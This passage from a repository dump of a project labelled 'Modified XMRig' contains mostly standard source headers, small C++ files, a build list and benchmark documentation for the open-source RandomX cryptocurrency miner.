/* XMRIG_FILELOG_H */ 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/common/HugePagesInfo.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include "crypto/common/HugePagesInfo.h" 21 | #include "crypto/common/VirtualMemory.h" 22 | 23 | 24 | xmrig::HugePagesInfo::HugePagesInfo(const VirtualMemory *memory) 25 | { 26 | if (memory->isOneGbPages()) { 27 | size = VirtualMemory::align(memory->size(), VirtualMemory::kOneGiB); 28 | total = size / VirtualMemory::kOneGiB; 29 | allocated = size / VirtualMemory::kOneGiB; 30 | } 31 | else { 32 | size = VirtualMemory::alignToHugePageSize(memory->size()); 33 | total = size / VirtualMemory::hugePageSize(); 34 | allocated = memory->isHugePages() ? total : 0; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/rapidjson/internal/swap.h: -------------------------------------------------------------------------------- 1 | // Tencent is pleased to support the open source community by making RapidJSON available. 2 | // 3 | // Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. 4 | // 5 | // Licensed under the MIT License (the "License"); you may not use this file except 6 | // in compliance with the License. You may obtain a copy of the License at 7 | // 8 | // http://opensource.org/licenses/MIT 9 | // 10 | // Unless required by applicable law or agreed to in writing, software distributed 11 | // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR 12 | // CONDITIONS OF ANY KIND, either express or implied. See the License for the 13 | // specific language governing permissions and limitations under the License. 14 | 15 | #ifndef RAPIDJSON_INTERNAL_SWAP_H_ 16 | #define RAPIDJSON_INTERNAL_SWAP_H_ 17 | 18 | #include "../rapidjson.h" 19 | 20 | #if defined(__clang__) 21 | RAPIDJSON_DIAG_PUSH 22 | RAPIDJSON_DIAG_OFF(c++98-compat) 23 | #endif 24 | 25 | RAPIDJSON_NAMESPACE_BEGIN 26 | namespace internal { 27 | 28 | //! Custom swap() to avoid dependency on C++ header 29 | /*! \tparam T Type of the arguments to swap, should be instantiated with primitive C++ types only. 30 | \note This has the same semantics as std::swap(). 31 | */ 32 | template 33 | inline void Swap(T& a, T& b) RAPIDJSON_NOEXCEPT { 34 | T tmp = a; 35 | a = b; 36 | b = tmp; 37 | } 38 | 39 | } // namespace internal 40 | RAPIDJSON_NAMESPACE_END 41 | 42 | #if defined(__clang__) 43 | RAPIDJSON_DIAG_POP 44 | #endif 45 | 46 | #endif // RAPIDJSON_INTERNAL_SWAP_H_ 47 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/api/requests/ApiRequest.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | 26 | #include "base/api/requests/ApiRequest.h" 27 | 28 | 29 | xmrig::ApiRequest::ApiRequest(Source source, bool restricted) : 30 | m_restricted(restricted), 31 | m_source(source) 32 | { 33 | } 34 | 35 | 36 | xmrig::ApiRequest::~ApiRequest() = default; 37 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/common/interfaces/IBenchListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IBENCHLISTENER_H 20 | #define XMRIG_IBENCHLISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class IBackend; 30 | 31 | 32 | class IBenchListener 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE(IBenchListener) 36 | 37 | IBenchListener() = default; 38 | virtual ~IBenchListener() = default; 39 | 40 | virtual void onBenchDone(uint64_t result, uint64_t diff, uint64_t ts) = 0; 41 | virtual void onBenchReady(uint64_t ts, uint32_t threads, const IBackend *backend) = 0; 42 | }; 43 | 44 | 45 | } /* namespace xmrig */ 46 | 47 | 48 | #endif // XMRIG_IBENCHLISTENER_H 49 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/dns/DnsRecords.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_DNSRECORDS_H 20 | #define XMRIG_DNSRECORDS_H 21 | 22 | 23 | #include "base/net/dns/DnsRecord.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class DnsRecords 30 | { 31 | public: 32 | inline bool isEmpty() const { return m_ipv4.empty() && m_ipv6.empty(); } 33 | 34 | const DnsRecord &get(DnsRecord::Type prefered = DnsRecord::Unknown) const; 35 | size_t count(DnsRecord::Type type = DnsRecord::Unknown) const; 36 | void clear(); 37 | void parse(addrinfo *res); 38 | 39 | private: 40 | std::vector m_ipv4; 41 | std::vector m_ipv6; 42 | }; 43 | 44 | 45 | } /* namespace xmrig */ 46 | 47 | 48 | #endif /* XMRIG_DNSRECORDS_H */ 49 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/http/HttpApiResponse.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2014-2019 heapwolf 3 | * Copyright (c) 2018-2021 SChernykh 4 | * Copyright (c) 2016-2021 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_HTTPAPIRESPONSE_H 21 | #define XMRIG_HTTPAPIRESPONSE_H 22 | 23 | 24 | #include "3rdparty/rapidjson/document.h" 25 | #include "base/net/http/HttpResponse.h" 26 | 27 | 28 | namespace xmrig { 29 | 30 | 31 | class HttpApiResponse : public HttpResponse 32 | { 33 | public: 34 | HttpApiResponse(uint64_t id); 35 | HttpApiResponse(uint64_t id, int status); 36 | 37 | inline rapidjson::Document &doc() { return m_doc; } 38 | 39 | void end(); 40 | 41 | private: 42 | rapidjson::Document m_doc; 43 | }; 44 | 45 | 46 | } // namespace xmrig 47 | 48 | 49 | #endif // XMRIG_HTTPAPIRESPONSE_H 50 | 51 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/lib/encoding.h: -------------------------------------------------------------------------------- 1 | #ifndef ENCODING_H 2 | #define ENCODING_H 3 | #include "3rdparty/argon2.h" 4 | 5 | #define ARGON2_MAX_DECODED_LANES UINT32_C(255) 6 | #define ARGON2_MIN_DECODED_SALT_LEN UINT32_C(8) 7 | #define ARGON2_MIN_DECODED_OUT_LEN UINT32_C(12) 8 | 9 | /* 10 | * encode an Argon2 hash string into the provided buffer. 'dst_len' 11 | * contains the size, in characters, of the 'dst' buffer; if 'dst_len' 12 | * is less than the number of required characters (including the 13 | * terminating 0), then this function returns ARGON2_ENCODING_ERROR. 14 | * 15 | * on success, ARGON2_OK is returned. 16 | */ 17 | int encode_string(char *dst, size_t dst_len, argon2_context *ctx, 18 | argon2_type type); 19 | 20 | /* 21 | * Decodes an Argon2 hash string into the provided structure 'ctx'. 22 | * The only fields that must be set prior to this call are ctx.saltlen and 23 | * ctx.outlen (which must be the maximal salt and out length values that are 24 | * allowed), ctx.salt and ctx.out (which must be buffers of the specified 25 | * length), and ctx.pwd and ctx.pwdlen which must hold a valid password. 26 | * 27 | * Invalid input string causes an error. On success, the ctx is valid and all 28 | * fields have been initialized. 29 | * 30 | * Returned value is ARGON2_OK on success, other ARGON2_ codes on error. 31 | */ 32 | int decode_string(argon2_context *ctx, const char *str, argon2_type type); 33 | 34 | /* Returns the length of the encoded byte stream with length len */ 35 | size_t b64len(uint32_t len); 36 | 37 | /* Returns the length of the encoded number num */ 38 | size_t numlen(uint32_t num); 39 | 40 | #endif 41 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/common/interfaces/IMemoryPool.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IMEMORYPOOL_H 20 | #define XMRIG_IMEMORYPOOL_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | #include 27 | #include 28 | 29 | 30 | namespace xmrig { 31 | 32 | 33 | class IMemoryPool 34 | { 35 | public: 36 | XMRIG_DISABLE_COPY_MOVE(IMemoryPool) 37 | 38 | IMemoryPool() = default; 39 | virtual ~IMemoryPool() = default; 40 | 41 | virtual bool isHugePages(uint32_t node) const = 0; 42 | virtual uint8_t *get(size_t size, uint32_t node) = 0; 43 | virtual void release(uint32_t node) = 0; 44 | }; 45 | 46 | 47 | } /* namespace xmrig */ 48 | 49 | 50 | 51 | #endif /* XMRIG_IMEMORYPOOL_H */ 52 | -------------------------------------------------------------------------------- /Modified XMRig/src/hw/api/HwApi.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include "hw/api/HwApi.h" 21 | #include "base/api/interfaces/IApiRequest.h" 22 | #include "base/tools/String.h" 23 | 24 | 25 | #ifdef XMRIG_FEATURE_DMI 26 | # include "hw/dmi/DmiReader.h" 27 | #endif 28 | 29 | 30 | void xmrig::HwApi::onRequest(IApiRequest &request) 31 | { 32 | if (request.method() == IApiRequest::METHOD_GET) { 33 | # ifdef XMRIG_FEATURE_DMI 34 | if (request.url() == "/2/dmi") { 35 | if (!m_dmi) { 36 | m_dmi = std::make_shared(); 37 | m_dmi->read(); 38 | } 39 | 40 | request.accept(); 41 | m_dmi->toJSON(request.reply(), request.doc()); 42 | } 43 | # endif 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /Modified XMRig/doc/BENCHMARK.md: -------------------------------------------------------------------------------- 1 | # Embedded benchmark 2 | 3 | You can run with XMRig with the following commands: 4 | ``` 5 | xmrig --bench=1M 6 | xmrig --bench=10M 7 | xmrig --bench=1M -a rx/wow 8 | xmrig --bench=10M -a rx/wow 9 | ``` 10 | This will run between 1 and 10 million RandomX hashes, depending on `bench` parameter, and print the time it took. First two commands use Monero variant (2 MB per thread, best for Zen2/Zen3 CPUs), second two commands use Wownero variant (1 MB per thread, useful for Intel and 1st gen Zen/Zen+ CPUs). 11 | 12 | Checksum of all the hashes will be also printed to check stability of your hardware: if it's green then it's correct, if it's red then there was hardware error during computation. No Internet connection is required for the benchmark. 13 | 14 | Double check that you see `Huge pages 100%` both for dataset and for all threads, and also check for `msr register values ... has been set successfully` - without this result will be far from the best. Running as administrator is required for MSR and huge pages to be set up properly. 15 | 16 | ![Benchmark example](https://i.imgur.com/PST3BYc.png) 17 | 18 | ### Benchmark with custom config 19 | 20 | You can run benchmark with any configuration you want. Just start without command line parameteres, use regular config.json and add `"benchmark":"1M",` on the next line after pool url. 21 | 22 | # Stress test 23 | 24 | You can also run continuous stress-test that is as close to the real RandomX mining as possible and doesn't require any configuration: 25 | ``` 26 | xmrig --stress 27 | xmrig --stress -a rx/wow 28 | ``` 29 | This will require Internet connection and will run indefinitely. -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/epee/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2006-2013, Andrey N. Sabelnikov, www.sabelnikov.net 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | * Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | * Neither the name of the Andrey N. Sabelnikov nor the 12 | names of its contributors may be used to endorse or promote products 13 | derived from this software without specific prior written permission. 14 | 15 | 16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 17 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 18 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL Andrey N. Sabelnikov BE LIABLE FOR ANY 20 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 21 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 22 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 23 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 24 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 25 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/kernels/kawpow/KawPow_CalculateDAGKernel.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_KAWPOW_CALCULATEDAGKERNEL_H 20 | #define XMRIG_KAWPOW_CALCULATEDAGKERNEL_H 21 | 22 | 23 | #include "backend/opencl/wrappers/OclKernel.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class KawPow_CalculateDAGKernel : public OclKernel 30 | { 31 | public: 32 | inline KawPow_CalculateDAGKernel(cl_program program) : OclKernel(program, "ethash_calculate_dag_item") {} 33 | 34 | void enqueue(cl_command_queue queue, size_t threads, size_t workgroup_size); 35 | void setArgs(uint32_t start, cl_mem g_light, cl_mem g_dag, uint32_t dag_words, uint32_t light_words); 36 | }; 37 | 38 | 39 | } // namespace xmrig 40 | 41 | 42 | #endif /* XMRIG_KAWPOW_CALCULATEDAGKERNEL_H */ 43 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/ghostrider/ghostrider.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2018-2021 SChernykh 3 | * Copyright 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_GR_HASH_H 20 | #define XMRIG_GR_HASH_H 21 | 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | 28 | struct cryptonight_ctx; 29 | 30 | 31 | namespace xmrig 32 | { 33 | 34 | 35 | namespace ghostrider 36 | { 37 | 38 | 39 | struct HelperThread; 40 | 41 | void benchmark(); 42 | HelperThread* create_helper_thread(int64_t cpu_index, int priority, const std::vector& affinities); 43 | void destroy_helper_thread(HelperThread* t); 44 | void hash_octa(const uint8_t* data, size_t size, uint8_t* output, cryptonight_ctx** ctx, HelperThread* helper, bool verbose = true); 45 | 46 | 47 | } // namespace ghostrider 48 | 49 | 50 | } // namespace xmrig 51 | 52 | #endif // XMRIG_GR_HASH_H -------------------------------------------------------------------------------- /Modified XMRig/src/backend/common/common.cmake: -------------------------------------------------------------------------------- 1 | set(HEADERS_BACKEND_COMMON 2 | src/backend/common/Hashrate.h 3 | src/backend/common/Tags.h 4 | src/backend/common/interfaces/IBackend.h 5 | src/backend/common/interfaces/IRxListener.h 6 | src/backend/common/interfaces/IRxStorage.h 7 | src/backend/common/interfaces/IWorker.h 8 | src/backend/common/misc/PciTopology.h 9 | src/backend/common/Thread.h 10 | src/backend/common/Threads.h 11 | src/backend/common/Worker.h 12 | src/backend/common/WorkerJob.h 13 | src/backend/common/Workers.h 14 | ) 15 | 16 | set(SOURCES_BACKEND_COMMON 17 | src/backend/common/Hashrate.cpp 18 | src/backend/common/Threads.cpp 19 | src/backend/common/Worker.cpp 20 | src/backend/common/Workers.cpp 21 | ) 22 | 23 | if (WITH_RANDOMX AND WITH_BENCHMARK) 24 | list(APPEND HEADERS_BACKEND_COMMON 25 | src/backend/common/benchmark/Benchmark.h 26 | src/backend/common/benchmark/BenchState_test.h 27 | src/backend/common/benchmark/BenchState.h 28 | src/backend/common/interfaces/IBenchListener.h 29 | ) 30 | 31 | list(APPEND SOURCES_BACKEND_COMMON 32 | src/backend/common/benchmark/Benchmark.cpp 33 | src/backend/common/benchmark/BenchState.cpp 34 | ) 35 | endif() 36 | 37 | 38 | if (WITH_OPENCL OR WITH_CUDA) 39 | list(APPEND HEADERS_BACKEND_COMMON 40 | src/backend/common/HashrateInterpolator.h 41 | src/backend/common/GpuWorker.h 42 | ) 43 | 44 | list(APPEND SOURCES_BACKEND_COMMON 45 | src/backend/common/HashrateInterpolator.cpp 46 | src/backend/common/GpuWorker.cpp 47 | ) 48 | endif() 49 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/http/HttpListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_HTTPLISTENER_H 20 | #define XMRIG_HTTPLISTENER_H 21 | 22 | 23 | #include "base/kernel/interfaces/IHttpListener.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class HttpListener : public IHttpListener 30 | { 31 | public: 32 | inline HttpListener(IHttpListener *listener, const char *tag = nullptr) : 33 | # ifdef APP_DEBUG 34 | m_tag(tag), 35 | # endif 36 | m_listener(listener) 37 | {} 38 | 39 | protected: 40 | void onHttpData(const HttpData &data) override; 41 | 42 | private: 43 | # ifdef APP_DEBUG 44 | const char *m_tag; 45 | # endif 46 | IHttpListener *m_listener; 47 | }; 48 | 49 | 50 | } /* namespace xmrig */ 51 | 52 | 53 | #endif // XMRIG_HTTPLISTENER_H 54 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/common/HashrateInterpolator.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2018-2020 SChernykh 3 | * Copyright 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_HASHRATE_INTERPOLATOR_H 20 | #define XMRIG_HASHRATE_INTERPOLATOR_H 21 | 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | 28 | namespace xmrig { 29 | 30 | 31 | class HashrateInterpolator 32 | { 33 | public: 34 | enum { 35 | LagMS = 4000, 36 | }; 37 | 38 | uint64_t interpolate(uint64_t timeStamp) const; 39 | void addDataPoint(uint64_t count, uint64_t timeStamp); 40 | 41 | private: 42 | // Buffer of hashrate counters, used for linear interpolation of past data 43 | mutable std::mutex m_lock; 44 | std::deque > m_data; 45 | }; 46 | 47 | 48 | } // namespace xmrig 49 | 50 | 51 | #endif /* XMRIG_HASHRATE_INTERPOLATOR_H */ 52 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/OclCache.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_OCLCACHE_H 20 | #define XMRIG_OCLCACHE_H 21 | 22 | 23 | #include 24 | 25 | 26 | using cl_program = struct _cl_program *; 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class IOclRunner; 33 | 34 | 35 | class OclCache 36 | { 37 | public: 38 | static cl_program build(const IOclRunner *runner); 39 | static std::string cacheKey(const char *deviceKey, const char *options, const char *source); 40 | static std::string cacheKey(const IOclRunner *runner); 41 | 42 | private: 43 | static std::string prefix(); 44 | static void createDirectory(); 45 | static void save(cl_program program, const std::string &fileName); 46 | }; 47 | 48 | 49 | } // namespace xmrig 50 | 51 | 52 | #endif /* XMRIG_OCLCACHE_H */ 53 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/Alignment.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2022 SChernykh 3 | * Copyright (c) 2016-2022 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_ALIGNMENT_H 20 | #define XMRIG_ALIGNMENT_H 21 | 22 | 23 | #include 24 | #include 25 | 26 | 27 | namespace xmrig { 28 | 29 | 30 | template 31 | inline T readUnaligned(const T* ptr) 32 | { 33 | static_assert(std::is_trivially_copyable::value, "T must be trivially copyable"); 34 | 35 | T result; 36 | memcpy(&result, ptr, sizeof(T)); 37 | return result; 38 | } 39 | 40 | 41 | template 42 | inline void writeUnaligned(T* ptr, T data) 43 | { 44 | static_assert(std::is_trivially_copyable::value, "T must be trivially copyable"); 45 | 46 | memcpy(ptr, &data, sizeof(T)); 47 | } 48 | 49 | 50 | } /* namespace xmrig */ 51 | 52 | 53 | #endif /* XMRIG_ALIGNMENT_H */ 54 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/rx/RxMsr.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2019 tevador 3 | * Copyright (c) 2018-2021 SChernykh 4 | * Copyright (c) 2016-2021 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_RXMSR_H 21 | #define XMRIG_RXMSR_H 22 | 23 | 24 | #include 25 | 26 | 27 | namespace xmrig 28 | { 29 | 30 | 31 | class CpuThread; 32 | class RxConfig; 33 | 34 | 35 | class RxMsr 36 | { 37 | public: 38 | static inline bool isEnabled() { return m_enabled; } 39 | static inline bool isInitialized() { return m_initialized; } 40 | 41 | static bool init(const RxConfig &config, const std::vector &threads); 42 | static void destroy(); 43 | 44 | private: 45 | static bool m_cacheQoS; 46 | static bool m_enabled; 47 | static bool m_initialized; 48 | }; 49 | 50 | 51 | } /* namespace xmrig */ 52 | 53 | 54 | #endif /* XMRIG_RXMSR_H */ 55 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/common/benchmark/Benchmark.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_BENCHMARK_H 20 | #define XMRIG_BENCHMARK_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class IBackend; 30 | 31 | 32 | class Benchmark 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE_DEFAULT(Benchmark) 36 | 37 | Benchmark(size_t workers, const IBackend *backend); 38 | ~Benchmark() = default; 39 | 40 | bool 